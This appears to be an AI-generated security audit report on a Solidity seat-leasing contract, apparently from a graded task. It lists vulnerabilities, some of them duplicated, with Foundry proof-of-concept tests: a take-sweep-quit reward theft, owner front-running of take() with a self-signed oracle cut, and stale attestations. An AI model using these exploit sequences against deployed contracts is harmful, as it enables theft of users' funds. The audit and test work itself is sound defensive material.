Failed on the agent's machine.

Refused by Codex's safety filter

• highAnyone can take a vacant Open seat, sweep rewards booked before their lease, and quit with the bond backsrc/SeatLease.sol:441

  Trust gap (access x asymmetry x economics). sweep() splits a seat's whole booked balance by ownerBps between the owner and whoever is operator at the moment of the sweep; it never records which lease a balance was booked under. take() on an Open seat is permissionless and the bond it pulls is returned in full by quit(), so an unprivileged caller can, in one transaction, take the seat, sweep, and quit.

  Every balance booked while the seat was vacant (credit() by the network or any payer, or claim() by the owner before a separate sweep tx) or under a previous operator is paid (10000-ownerBps)/10000 to the attacker at a cost of gas. With bondAmount=0 no capital is needed at all; with a bond it is only held for the duration of the transaction. The owner cannot defend: credit() is callable by anyone at any time and the attack is atomic.

  The mirror image is also present and asserted as intended by test_sweep_unsweptBalanceGoesToOwnerAfterCut and test_sweep_usesTermsAtSweepTimeNotAtCreditTime: the owner can call cut() (any time) right before a sweep and take 100% of rewards that were booked while the operator ran the seat.

  Suggested fix that keeps every ABI: give each lease an epoch (incremented in take()) and store the epoch alongside each booked balance; when a balance is booked in a newer epoch, roll the older amount into an owner-only bucket; sweep() splits only the amount booked in the current lease's epoch and pays owner-only buckets entirely to the owner.

  If the author also wants to protect the cut operator, record the operator and ownerBps per epoch and pay the epoch's operator on sweep even after cut/quit.

  whole finding

  State: owner deposits seat 7 with ownerBps=3000, Mode.Open, bondAmount=100e18.

  A third party calls credit(7, RWD, 1000e18) while the seat is vacant.

  Attack (one tx from a contract): bond.approve(lease, 100e18); lease.take(7); lease.sweep(7, RWD); lease.quit(7).

  Expected: rewards booked while the seat was vacant go to the owner (sweep of a vacant seat pays 100% to owner), attacker gets 0 and keeps only its bond.

  Actual: attacker receives 700e18 RWD, owner receives 300e18, attacker's 100e18 bond is returned; seat is vacant again.

  Run: forge test --match-path test/scratch/TakeSweepQuit.t.sol

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {SeatLease} from "src/SeatLease.sol";
  import {MockSeatNFT} from "src/mocks/MockSeatNFT.sol";
  import {MockERC20} from "src/mocks/MockERC20.sol";
  
  /// @dev Unprivileged attacker: take a vacant Open seat, sweep the rewards that were booked while the seat was
  ///      vacant (or under a previous operator), quit and get the bond back. All in one transaction, cost = gas.
  contract Grabber {
      SeatLease immutable lease;
      MockERC20 immutable bond;
  
      constructor(SeatLease lease_, MockERC20 bond_) {
          lease = lease_;
          bond = bond_;
      }
  
      function grab(uint256 tokenId, address token, uint256 bondAmount) external {
          bond.approve(address(lease), bondAmount);
          lease.take(tokenId);
          // A fixed registry may settle the pre-lease balance to the owner inside take(), leaving nothing to sweep;
          // tolerate that revert so the proof passes once the defect is fixed.
          try lease.sweep(tokenId, token) {} catch {}
          lease.quit(tokenId);
      }
  }
  
  contract TakeSweepQuitProof is Test {
      MockSeatNFT nft;
      MockERC20 bond;
      MockERC20 reward;
      SeatLease lease;
  
      address owner = makeAddr("owner");
      address payer = makeAddr("payer");
      uint256 constant TOKEN_ID = 7;
      uint256 constant BOND_AMOUNT = 100e18;
  
      function setUp() public {
          nft = new MockSeatNFT();
          bond = new MockERC20("Bond", "BOND");
          reward = new MockERC20("Reward", "RWD");
          lease = new SeatLease(address(nft), address(bond), "IdentityMD Worker", "2");
          nft.mint(owner, TOKEN_ID);
          vm.warp(1_800_000_000);
  
          // Owner lists an Open seat: operator keeps 70% of rewards, must post a 100 BOND bond.
          vm.startPrank(owner);
          nft.approve(address(lease), TOKEN_ID);
          lease.deposit(TOKEN_ID, 3000, SeatLease.Mode.Open, address(0), BOND_AMOUNT, address(0), bytes32(0), "");
          vm.stopPrank();
  
          // 1000 RWD of rewards are booked to the seat while it is vacant (network / distributor pays the holder).
          reward.mint(payer, 1000e18);
          vm.startPrank(payer);
          reward.approve(address(lease), 1000e18);
          lease.credit(TOKEN_ID, address(reward), 1000e18);
          vm.stopPrank();
      }
  
      function test_vacantSeatRewardsAreStolenByTakeSweepQuit() public {
          Grabber attacker = new Grabber(lease, bond);
          bond.mint(address(attacker), BOND_AMOUNT);
  
          attacker.grab(TOKEN_ID, address(reward), BOND_AMOUNT);
  
          // The seat is vacant again and the attacker has the whole bond back.
          assertEq(lease.seat(TOKEN_ID).operator, address(0), "seat vacant again");
          assertEq(bond.balanceOf(address(attacker)), BOND_AMOUNT, "bond returned");
  
          // Expected: rewards booked while the seat was vacant belong to the owner (sweep of a vacant seat pays
          // everything to the owner). Actual: the attacker walks away with 700 RWD of them.
          assertEq(reward.balanceOf(address(attacker)), 0, "attacker took rewards that accrued before its lease");
          assertEq(reward.balanceOf(owner), 1000e18, "owner lost rewards booked while the seat was vacant");
      }
  }

  whole proof

• mediumtake() carries no commitment to the terms the operator accepted; the owner can front-run it with setTerms()src/SeatLease.sol:280

  Trust gap (access x asymmetry). setTerms() may change ownerBps, mode, bondAmount, oracleSigner and questionHash at any moment while the seat is vacant, and take(tokenId) binds the caller to whatever the storage says when it executes, not to the terms the caller read.

  An owner who sees an operator's take() in the mempool (or simply changes terms in the same block) can raise bondAmount up to the operator's allowance, set ownerBps to 10000, and, most damagingly, set oracleSigner to a key it controls. oracleSigner is not bound to the network oracle anywhere in the contract, so the owner can then sign an OracleAttestation itself and call cutByOracle(), which forfeits the entire bond to the owner instead of returning it as cut() would.

  The operator's only protection, reading seat() before taking, is defeated by the ordering. Slither/aderyn do not flag this.

  Suggested fix preserving take(uint256): make setTerms() changes effective only after a delay (e.g. a termsChangedAt timestamp/block and take() reverts while block.timestamp < termsChangedAt + COOLDOWN), so a change is visible before anyone can be bound by it; alternatively add an overload take(tokenId, bytes32 termsHash) and have take(tokenId) revert unless terms are older than the cooldown.

  Document separately that oracleSigner is chosen by the owner and must be verified by the operator against the network's published oracle key.

  whole finding

  State: owner deposits seat 7 with ownerBps=5000, Mode.Open, bondAmount=10e18, oracleSigner=.

  Operator reads seat(7), approves the bond token (type(uint256).max, a common wallet default) and broadcasts take(7).

  Owner's setTerms(7, 10000, Open, 0, 1000e18, , question, listing) is mined first. take(7) then pulls 1000e18 from the operator.

  Owner signs an OracleAttestation(answer=true, expiresAt future) with its own key and calls cutByOracle(7, att, sig).

  Expected: the operator is bound at most to the 10e18 bond and the network oracle's judgement it agreed to (or take() reverts).

  Actual: operator loses 1000e18 to the owner with no network oracle involved.

  Run: forge test --match-path test/scratch/TakeFrontRun.t.sol

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {SeatLease} from "src/SeatLease.sol";
  import {MockSeatNFT} from "src/mocks/MockSeatNFT.sol";
  import {MockERC20} from "src/mocks/MockERC20.sol";
  
  /// @dev The operator reads the seat's terms, then sends take(tokenId). take() carries no commitment to the terms
  ///      it accepted, so the owner can front-run it with setTerms() and the operator is bound to terms it never saw:
  ///      a higher bond, a worse split and an oracleSigner the owner controls (which turns cut-with-refund into
  ///      cut-with-forfeit).
  contract TakeFrontRunProof is Test {
      bytes32 constant EIP712_DOMAIN_TYPEHASH =
          keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
      bytes32 constant ORACLE_TYPEHASH = keccak256(
          "OracleAttestation(bytes32 requestId,uint256 chainId,bytes32 questionHash,uint8 answerType,bytes answer,uint256 figure,uint64 fromBlock,uint64 toBlock,bytes32 blockHash,bytes32 panelJobId,uint64 issuedAt,uint64 expiresAt)"
      );
  
      MockSeatNFT nft;
      MockERC20 bond;
      SeatLease lease;
  
      address owner;
      uint256 ownerKey;
      address operator = makeAddr("operator");
      address networkOracle = makeAddr("network-oracle");
      uint256 constant TOKEN_ID = 7;
      bytes32 constant QUESTION = keccak256("did the operator misbehave?");
  
      function setUp() public {
          (owner, ownerKey) = makeAddrAndKey("owner");
          nft = new MockSeatNFT();
          bond = new MockERC20("Bond", "BOND");
          lease = new SeatLease(address(nft), address(bond), "IdentityMD Worker", "2");
          nft.mint(owner, TOKEN_ID);
          bond.mint(operator, 1000e18);
          vm.warp(1_800_000_000);
  
          // Listed terms the operator reads and agrees to: 50/50, 10 BOND bond, the network's oracle as signer.
          vm.startPrank(owner);
          nft.approve(address(lease), TOKEN_ID);
          lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), 10e18, networkOracle, QUESTION, "fair seat");
          vm.stopPrank();
      }
  
      function test_ownerFrontRunsTakeAndForfeitsTheOperatorsBond() public {
          SeatLease.Seat memory seen = lease.seat(TOKEN_ID);
          assertEq(seen.bondAmount, 10e18);
          assertEq(seen.ownerBps, 5000);
          assertEq(seen.oracleSigner, networkOracle);
  
          // Operator approves generously (a common wallet default) and broadcasts take().
          vm.prank(operator);
          bond.approve(address(lease), type(uint256).max);
  
          // Owner's setTerms lands first: bond x100, owner keeps 100%, owner is now the "oracle".
          vm.prank(owner);
          lease.setTerms(TOKEN_ID, 10_000, SeatLease.Mode.Open, address(0), 1000e18, owner, QUESTION, "fair seat");
  
          // A fixed registry may refuse take() right after a terms change (cooldown) or bind it to the terms the
          // operator read; either way the operator keeps its funds, so a revert here is a pass.
          vm.prank(operator);
          try lease.take(TOKEN_ID) {} catch {}
  
          // Owner signs its own attestation and forfeits the whole bond to itself.
          SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({
              requestId: keccak256("req"),
              chainId: block.chainid,
              questionHash: QUESTION,
              answerType: lease.ANSWER_TYPE_BOOL(),
              answer: abi.encode(true),
              figure: 0,
              fromBlock: 0,
              toBlock: uint64(block.number),
              blockHash: bytes32(0),
              panelJobId: bytes32(0),
              issuedAt: uint64(block.timestamp),
              expiresAt: uint64(block.timestamp + 1 hours)
          });
          bytes32 domain = keccak256(
              abi.encode(
                  EIP712_DOMAIN_TYPEHASH, keccak256("IdentityMD Oracle"), keccak256("1"), block.chainid, address(lease)
              )
          );
          bytes32 structHash = keccak256(
              abi.encode(
                  ORACLE_TYPEHASH,
                  att.requestId,
                  att.chainId,
                  att.questionHash,
                  att.answerType,
                  keccak256(att.answer),
                  att.figure,
                  att.fromBlock,
                  att.toBlock,
                  att.blockHash,
                  att.panelJobId,
                  att.issuedAt,
                  att.expiresAt
              )
          );
          (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerKey, keccak256(abi.encodePacked("\x19\x01", domain, structHash)));
          try lease.cutByOracle(TOKEN_ID, att, abi.encodePacked(r, s, v)) {} catch {}
  
          // Expected: take() binds the operator only to the terms it read (10 BOND bond, network oracle), so either
          // take() reverts after the terms changed or at most 10 BOND is at risk under the network oracle's judgement.
          // Actual: the operator lost 1000 BOND to the owner without any network oracle involvement.
          assertGe(bond.balanceOf(operator), 1000e18 - 10e18, "operator bound to a bond it never agreed to");
          assertEq(bond.balanceOf(owner), 0, "owner forfeited the operator's bond to itself");
      }
  }

  whole proof

• mediumcutByOracle() accepts an attestation issued before the current operator took the seatsrc/SeatLease.sol:338

  Trust gap (access x economics). The validity checks are signer, questionHash, chainId, bool true, expiresAt in the future and unused requestId. Nothing compares issuedAt, fromBlock or toBlock with the moment the current operator took the seat, and the seat does not record that moment.

  A truthful attestation about operator A's tenure therefore remains a valid weapon against operator B for as long as it is unexpired and unsubmitted. The owner is the beneficiary (the bond is forfeited to the owner) and can manufacture the situation with the real network oracle: operate its own Open seat, deliberately satisfy the seat's question (e.g. go offline), obtain the attestation, withhold it, quit, wait for a victim to take the seat and post a bond, then submit.

  Suggested fix: store takenAt (block.timestamp and/or block.number) in Seat on take() and revert in cutByOracle() unless attestation.issuedAt >= takenAt (and/or attestation.fromBlock >= takenAtBlock); this adds a check, it does not remove any the task requires.

  whole finding

  State: owner deposits seat 7 (Open, bondAmount=100e18, oracleSigner=oracle).

  Operator A takes.

  Oracle signs OracleAttestation{requestId=R, questionHash=seat question, answerType=1, answer=abi.encode(true), issuedAt=T, toBlock=N, expiresAt=T+1 day}.

  A quits.

  At T+1h, block N+300, operator B takes and posts 100e18.

  Anyone calls cutByOracle(7, att, sig).

  Expected: revert, the attestation predates B's lease.

  Actual: B is cleared and B's 100e18 bond is transferred to the owner.

  Run: forge test --match-path test/scratch/StaleAttestation.t.sol

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {SeatLease} from "src/SeatLease.sol";
  import {MockSeatNFT} from "src/mocks/MockSeatNFT.sol";
  import {MockERC20} from "src/mocks/MockERC20.sol";
  
  /// @dev An attestation issued while operator A ran the seat is accepted against operator B, who took the seat
  ///      afterwards, as long as it has not expired and its requestId is unused. cutByOracle never compares the
  ///      attestation's issuedAt / toBlock with the moment the current operator took the seat.
  contract StaleAttestationProof is Test {
      bytes32 constant EIP712_DOMAIN_TYPEHASH =
          keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
      bytes32 constant ORACLE_TYPEHASH = keccak256(
          "OracleAttestation(bytes32 requestId,uint256 chainId,bytes32 questionHash,uint8 answerType,bytes answer,uint256 figure,uint64 fromBlock,uint64 toBlock,bytes32 blockHash,bytes32 panelJobId,uint64 issuedAt,uint64 expiresAt)"
      );
  
      MockSeatNFT nft;
      MockERC20 bond;
      SeatLease lease;
  
      address owner = makeAddr("owner");
      address operatorA = makeAddr("operatorA");
      address operatorB = makeAddr("operatorB");
      address oracle;
      uint256 oracleKey;
      uint256 constant TOKEN_ID = 7;
      uint256 constant BOND_AMOUNT = 100e18;
      bytes32 constant QUESTION = keccak256("did the operator of seat 7 go offline?");
  
      function setUp() public {
          (oracle, oracleKey) = makeAddrAndKey("oracle");
          nft = new MockSeatNFT();
          bond = new MockERC20("Bond", "BOND");
          lease = new SeatLease(address(nft), address(bond), "IdentityMD Worker", "2");
          nft.mint(owner, TOKEN_ID);
          bond.mint(operatorA, BOND_AMOUNT);
          bond.mint(operatorB, BOND_AMOUNT);
          vm.warp(1_800_000_000);
          vm.roll(1000);
  
          vm.startPrank(owner);
          nft.approve(address(lease), TOKEN_ID);
          lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND_AMOUNT, oracle, QUESTION, "");
          vm.stopPrank();
      }
  
      function _take(address who) internal {
          vm.startPrank(who);
          bond.approve(address(lease), BOND_AMOUNT);
          lease.take(TOKEN_ID);
          vm.stopPrank();
      }
  
      function _signed(SeatLease.OracleAttestation memory att) internal view returns (bytes memory) {
          bytes32 domain = keccak256(
              abi.encode(
                  EIP712_DOMAIN_TYPEHASH, keccak256("IdentityMD Oracle"), keccak256("1"), block.chainid, address(lease)
              )
          );
          bytes32 structHash = keccak256(
              abi.encode(
                  ORACLE_TYPEHASH,
                  att.requestId,
                  att.chainId,
                  att.questionHash,
                  att.answerType,
                  keccak256(att.answer),
                  att.figure,
                  att.fromBlock,
                  att.toBlock,
                  att.blockHash,
                  att.panelJobId,
                  att.issuedAt,
                  att.expiresAt
              )
          );
          (uint8 v, bytes32 r, bytes32 s) =
              vm.sign(oracleKey, keccak256(abi.encodePacked("\x19\x01", domain, structHash)));
          return abi.encodePacked(r, s, v);
      }
  
      function test_attestationAboutPreviousOperatorForfeitsTheNextOperatorsBond() public {
          // Operator A runs the seat; the oracle attests (truthfully) that A's tenure answered the question with true.
          _take(operatorA);
          SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({
              requestId: keccak256("req-about-A"),
              chainId: block.chainid,
              questionHash: QUESTION,
              answerType: lease.ANSWER_TYPE_BOOL(),
              answer: abi.encode(true),
              figure: 0,
              fromBlock: uint64(block.number - 10),
              toBlock: uint64(block.number),
              blockHash: blockhash(block.number - 1),
              panelJobId: keccak256("panel"),
              issuedAt: uint64(block.timestamp),
              expiresAt: uint64(block.timestamp + 1 days)
          });
          bytes memory sig = _signed(att);
  
          // A quits before anyone submits it; B takes the seat later and posts a fresh bond.
          vm.prank(operatorA);
          lease.quit(TOKEN_ID);
          vm.warp(block.timestamp + 1 hours);
          vm.roll(block.number + 300);
          _take(operatorB);
          uint256 bTakenAt = block.timestamp;
          assertLt(att.issuedAt, bTakenAt, "attestation predates B's lease");
          assertLt(att.toBlock, block.number, "attested window ended before B's lease");
  
          // Expected: an attestation issued before B took the seat cannot be evidence about B; the call reverts.
          // Actual: B is cut and B's 100 BOND bond is forfeited to the owner.
          vm.expectRevert();
          lease.cutByOracle(TOKEN_ID, att, sig);
          assertEq(lease.seat(TOKEN_ID).operator, operatorB, "B still operates the seat");
          assertEq(bond.balanceOf(owner), 0, "owner did not receive B's bond");
      }
  }

  whole proof

• lowsweep() pushes ETH and ERC-20 with revert-on-failure, so either party can block the other's share; owner can convert a block into 100% via cut()src/SeatLease.sol:677

  Asymmetry: _payBond() escrows a failed bond transfer (bondOwed/redeemBond) so the seat is never stuck, but _pay() used by sweep() reverts when the owner or operator rejects ETH or is blocklisted by the reward token. The whole sweep of that token reverts, so the other party's share is locked too. If the operator rejects, the owner can cut() and sweep 100% (test_sweep_revertsWhenOperatorRejectsEth shows this).

  If the owner rejects, the operator's share is locked for as long as the owner chooses; an owner contract can reject while the operator is active, cut(), then accept and sweep 100%.

  Suggested fix: on a failed push, escrow the recipient's amount in a per-token owed mapping with a pull function, as _payBond already does for bonds.

  State: seat 7 deposited by an owner contract whose receive() reverts, ownerBps=5000, operator active. credit{value: 1 ether}(7, address(0), 1 ether). sweep(7, address(0)) reverts with EthTransferFailed(owner, 0.5 ether).

  Expected: the operator's 0.5 ether is payable regardless of the owner's receiver.

  Actual: the operator's 0.5 ether is unreachable until the owner changes its receiver; if the owner cuts first and then accepts ETH, sweep pays the owner 1 ether.

• lowclaim() lets the owner route seat rewards to any recipient a distributor accepts, bypassing the operator's splitsrc/SeatLease.sol:411

  Trust assumption, access x economics. claim() makes the registry (the reward recipient the network knows) call target with owner-chosen calldata. The guards only protect balances the registry already holds and the NFT.

  If a distributor exposes any recipient-parameterised entry point (claimTo(address), claim(address to, uint256), setRecipient, delegate), the owner calls it with itself as recipient: the rewards never enter the registry, nothing is booked and the operator's ownerBps share is zero. The MockDistributor only pays msg.sender, so the test suite cannot see this.

  Combined with the owner's option to never call claim() at all, the operator's income is entirely at the owner's discretion for anything not yet booked. This is not fixable by the contract without a per-seat allowlist of (target, selector); at minimum the README must state that operators are only protected for rewards that reach the registry, and that owners may divert rewards at recipient-parameterised distributors.

  whole finding

  State: seat 7 deposited with ownerBps=0 (operator earns 100%), operator active; a distributor D with claimTo(address to) owes the registry 1000e18 RWD.

  Owner calls claim(7, D, abi.encodeCall(D.claimTo, (owner)), [RWD]).

  Expected: 1000e18 booked to seat 7 and sweepable 100% to the operator.

  Actual: owner's balance increases by 1000e18, credited(7, RWD) stays 0, the call succeeds.

  Verified with a scratch test (test/scratch/ClaimRecipient.t.sol, passes on current code, i.e. the bypass works).

• infoREADME deliverable (function/event/error reference, isValidSignature worked example, mainnet steps) is absent from the treeREVIEW.md:1

  Outside the assigned area, noted for the judge. The task lists a README covering every function, event and error, the exact isValidSignature encoding with a worked example, the operator pairing flow, the oracle cut model and mainnet deployment steps. The tree contains REVIEW.md and launch.json notes only.

  The trust assumptions surfaced above (owner-chosen oracleSigner, rewards only protected once booked, push-payment receivers) have nowhere to be documented for operators.

  ls README* in the repository root returns nothing; the only Markdown file is REVIEW.md.

Refused by Codex's safety filter

• hightake() does not bind the operator to the terms it inspected; owner front-runs setTerms and forfeits the bond to itselfsrc/SeatLease.sol:280

  take(tokenId) reads every term (mode, bondAmount, ownerBps, oracleSigner, questionHash) from storage at execution time and carries no parameter naming the terms the caller agreed to. setTerms() is unrestricted while the seat is vacant, so the seat owner can change any term in the block before a pending take lands.

  Economic consequence: the owner replaces oracleSigner with a key it controls, take pulls the victim's bond under the swapped terms, and the owner immediately signs a true OracleAttestation for the seat's questionHash and calls cutByOracle, which pays the whole bond to s.owner (line 346). The victim has no defence: it inspected honest terms, approved exactly bondAmount, and lost it to a private key it never trusted.

  The same window also lets the owner raise bondAmount (drained from a max approval), set ownerBps to 10000, or swap questionHash. Any address can list a seat, so the attacker is unprivileged with respect to the registry.

  Fix must preserve the design: either take(tokenId, bytes32 termsHash) that reverts unless keccak256(abi.encode(ownerBps, mode, allowedOperator, bondAmount, oracleSigner, questionHash)) matches storage, or a terms-activation delay so take reverts while block.timestamp < termsUpdatedAt + DELAY. Both keep owner-set terms and Open/Permissioned modes intact.

  whole finding

  State: attacker owns seat 1; victim holds 100e18 bond token.

  1. attacker: deposit(1, 5000, Open, 0, 100e18, networkOracle, Q, '').

  2. victim inspects seat(1).oracleSigner == networkOracle, approves 100e18, submits take(1).

  3. attacker front-runs with setTerms(1, 5000, Open, 0, 100e18, attackerSigner, Q, '').

  4. victim's take(1) succeeds: bondHeld = 100e18, operator = victim.

  5. attacker signs OracleAttestation{requestId, chainId=block.chainid, questionHash=Q, answerType=1, answer=abi.encode(true), expiresAt=now+1h} with attackerSigner and calls cutByOracle(1, att, sig).

  Expected: take must not seat the victim under terms it did not agree to (revert), so the victim keeps 100e18.

  Actual: cutByOracle succeeds, bond.balanceOf(attacker) == 100e18, bond.balanceOf(victim) == 0.

  Proof test test/scratch/TakeTermsFrontRun.t.sol fails with 'victim lost its bond to terms it never agreed to: 0 != 100000000000000000000'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {SeatLease} from "src/SeatLease.sol";
  import {MockSeatNFT} from "src/mocks/MockSeatNFT.sol";
  import {MockERC20} from "src/mocks/MockERC20.sol";
  
  /// @dev take(tokenId) does not bind the caller to the terms it inspected. The seat owner can change every term
  ///      (oracleSigner, ownerBps, bondAmount, questionHash) with setTerms in the block before take lands, and take
  ///      still pulls the bond under the new terms. With oracleSigner swapped to a key the owner controls, the owner
  ///      immediately forfeits the operator's bond to itself through cutByOracle.
  ///      Fails on the current code (the operator loses the whole bond). Passes once take refuses to seat an
  ///      operator under terms other than the ones it agreed to (terms hash / explicit parameters / terms delay).
  contract TakeTermsFrontRunProof is Test {
      bytes32 constant EIP712_DOMAIN_TYPEHASH =
          keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
  
      MockSeatNFT nft;
      MockERC20 bond;
      SeatLease lease;
  
      address attacker = makeAddr("attacker"); // lists the seat
      address victim = makeAddr("victim"); // takes it
      address networkOracle = makeAddr("network-oracle");
      uint256 attackerKey;
      address attackerSigner;
  
      uint256 constant TOKEN_ID = 1;
      uint256 constant BOND = 100e18;
      bytes32 constant QUESTION = keccak256("did the operator misbehave?");
  
      function setUp() public {
          (attackerSigner, attackerKey) = makeAddrAndKey("attacker-signer");
          nft = new MockSeatNFT();
          bond = new MockERC20("Bond", "BOND");
          lease = new SeatLease(address(nft), address(bond), "IdentityMD Worker", "2");
          nft.mint(attacker, TOKEN_ID);
          bond.mint(victim, BOND);
          vm.warp(1_800_000_000);
      }
  
      function test_takeIsNotBoundToInspectedTerms_bondIsStolen() public {
          // 1. The attacker lists an Open seat whose oracle is the real network oracle. The victim inspects it.
          vm.startPrank(attacker);
          nft.approve(address(lease), TOKEN_ID);
          lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND, networkOracle, QUESTION, "honest seat");
          vm.stopPrank();
          assertEq(lease.seat(TOKEN_ID).oracleSigner, networkOracle);
  
          // 2. The victim approves exactly the listed bond and submits take(1).
          vm.prank(victim);
          bond.approve(address(lease), BOND);
  
          // 3. Front-run: before take lands, the attacker swaps the oracle signer for a key it controls.
          vm.prank(attacker);
          lease.setTerms(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND, attackerSigner, QUESTION, "honest seat");
  
          // 4. The victim's take(1) executes against the swapped terms. Called through the raw selector so this
          //    proof compiles whether the fix keeps `take(uint256)` (reverting here) or changes its signature.
          vm.prank(victim);
          (bool taken,) = address(lease).call(abi.encodeWithSignature("take(uint256)", TOKEN_ID));
  
          // 5. If the victim got seated, the attacker signs a "true" attestation with its own key and forfeits the bond.
          if (taken) {
              SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({
                  requestId: keccak256("req"),
                  chainId: block.chainid,
                  questionHash: QUESTION,
                  answerType: lease.ANSWER_TYPE_BOOL(),
                  answer: abi.encode(true),
                  figure: 0,
                  fromBlock: 0,
                  toBlock: uint64(block.number),
                  blockHash: bytes32(0),
                  panelJobId: bytes32(0),
                  issuedAt: uint64(block.timestamp),
                  expiresAt: uint64(block.timestamp + 1 hours)
              });
              (uint8 v, bytes32 r, bytes32 s) = vm.sign(attackerKey, lease.hashOracleAttestation(att));
              lease.cutByOracle(TOKEN_ID, att, abi.encodePacked(r, s, v));
          }
  
          // The victim only ever agreed to be judged by the network oracle. Under a correct take it must either not
          // be seated (terms changed) or keep its bond. On the current code the attacker holds the whole bond.
          assertEq(bond.balanceOf(victim), BOND, "victim lost its bond to terms it never agreed to");
          assertEq(bond.balanceOf(attacker), 0, "attacker collected the victim's bond");
      }
  }

  whole proof

• highsweep() splits by the operator seated at sweep time, so anyone can take a vacant Open seat and pocket (1 - ownerBps) of rewards booked before they existedsrc/SeatLease.sol:441

  Booked balances carry no record of who was seated when they were booked. sweep() applies the current operator and current ownerBps to the entire _credited[tokenId][token] balance. The stated rule 'all to owner if vacant' is evaluated at sweep time, not at booking time, so rewards credited to a vacant seat (by credit(), or by the owner's own claim()) become claimable by whoever takes the seat next.

  Atomic extraction: take(tokenId) + sweep(tokenId, token) in one transaction; the taker's bond is untouched and can be recovered with quit() afterwards (nothing prevents quitting in the same block).

  Cost: gas plus temporary bond capital.

  Profit: (10000 - ownerBps)/10000 of every unswept balance of the seat, for every token. A bot watching Credited/Booked events on vacant Open seats does this reliably; the owner cannot pre-empt it because credit() is permissionless and can land in the same block as the take. The accepted Low in REVIEW.md ('unswept balances survive withdraw and go to the next depositor') is the same root cause.

  This also breaks the invariant the tests claim to check (invariant_sweptNeverExceedsCredited holds in aggregate but not per beneficiary). Fix, preserving the split model: attribute at booking time.

  In _book, split amount into an owner part and an operator part using the operator and ownerBps in force at that moment (vacant => all owner), keep _creditedOwner[tokenId][token], _creditedOperator[tokenId][token][operator] (or a per-tenure accumulator), and have sweep pay each part to its recorded beneficiary. ownerBps/operator changes then only affect future bookings.

  whole finding

  State: owner deposits seat 1 as Open, ownerBps=5000, bondAmount=100e18, seat vacant. payer calls credit(1, reward, 1000e18): credited(1, reward)=1000e18 while vacant, so all of it belongs to the owner under the stated rule. attacker (never seated before) in one tx: bond.approve(lease, 100e18); take(1); sweep(1, reward).

  Expected: attacker receives 0 reward (it was booked while vacant), owner receives 1000e18.

  Actual: reward.balanceOf(attacker) == 500e18, reward.balanceOf(owner) == 500e18.

  Attacker then calls quit(1) and gets its 100e18 bond back.

  Proof test test/scratch/TakeSweepExtraction.t.sol fails with 'taker was paid rewards booked before it took the seat: 500000000000000000000 != 0'.

  whole reproduction
  proof · a Foundry test the fix has to pass

  // SPDX-License-Identifier: MIT
  pragma solidity ^0.8.26;
  
  import {Test} from "forge-std/Test.sol";
  import {SeatLease} from "src/SeatLease.sol";
  import {MockSeatNFT} from "src/mocks/MockSeatNFT.sol";
  import {MockERC20} from "src/mocks/MockERC20.sol";
  
  /// @dev sweep() splits the whole booked balance by the operator seated at sweep time. Nothing ties a booked
  ///      amount to the operator (or vacancy) under which it was booked. So anyone can take a vacant Open seat that
  ///      carries an unswept balance and immediately sweep (1 - ownerBps) of rewards booked before they existed,
  ///      then quit for their bond. Atomic, unprivileged, cost = gas.
  ///      Fails on the current code (the taker pockets half of the pre-existing balance). Passes once booked
  ///      amounts are attributed at booking time (balances booked while vacant belong entirely to the owner).
  contract TakeSweepExtractionProof is Test {
      MockSeatNFT nft;
      MockERC20 bond;
      MockERC20 reward;
      SeatLease lease;
  
      address owner = makeAddr("owner");
      address payer = makeAddr("payer");
      address attacker = makeAddr("attacker");
  
      uint256 constant TOKEN_ID = 1;
      uint256 constant BOND = 100e18;
      uint256 constant REWARD = 1_000e18;
  
      function setUp() public {
          nft = new MockSeatNFT();
          bond = new MockERC20("Bond", "BOND");
          reward = new MockERC20("Reward", "RWD");
          lease = new SeatLease(address(nft), address(bond), "IdentityMD Worker", "2");
          nft.mint(owner, TOKEN_ID);
          bond.mint(attacker, BOND);
          reward.mint(payer, REWARD);
          vm.warp(1_800_000_000);
      }
  
      function test_takerSweepsRewardsBookedBeforeItTookTheSeat() public {
          // 1. Owner lists an Open seat at a 50/50 split. The seat is vacant.
          vm.startPrank(owner);
          nft.approve(address(lease), TOKEN_ID);
          lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND, address(0), bytes32(0), "");
          vm.stopPrank();
  
          // 2. 1_000 reward tokens are booked to the seat while it is vacant. Under the stated rule ("all to owner if
          //    vacant") this balance belongs to the owner.
          vm.startPrank(payer);
          reward.approve(address(lease), REWARD);
          lease.credit(TOKEN_ID, address(reward), REWARD);
          vm.stopPrank();
          assertEq(lease.credited(TOKEN_ID, address(reward)), REWARD);
  
          // 3. In one transaction the attacker takes the seat and sweeps it.
          vm.startPrank(attacker);
          bond.approve(address(lease), BOND);
          lease.take(TOKEN_ID);
          lease.sweep(TOKEN_ID, address(reward));
          vm.stopPrank();
  
          // The attacker did no work under this seat and the rewards were booked while it was vacant: none of them
          // may be paid to the attacker. On the current code the attacker receives 500e18.
          assertEq(reward.balanceOf(attacker), 0, "taker was paid rewards booked before it took the seat");
          assertEq(reward.balanceOf(owner), REWARD, "owner lost rewards booked to a vacant seat");
      }
  }

  whole proof

• mediumOwner takes the operator's earned share by calling cut() before sweep(); claim() being owner-only makes this unavoidable for distributor rewardssrc/SeatLease.sol:440

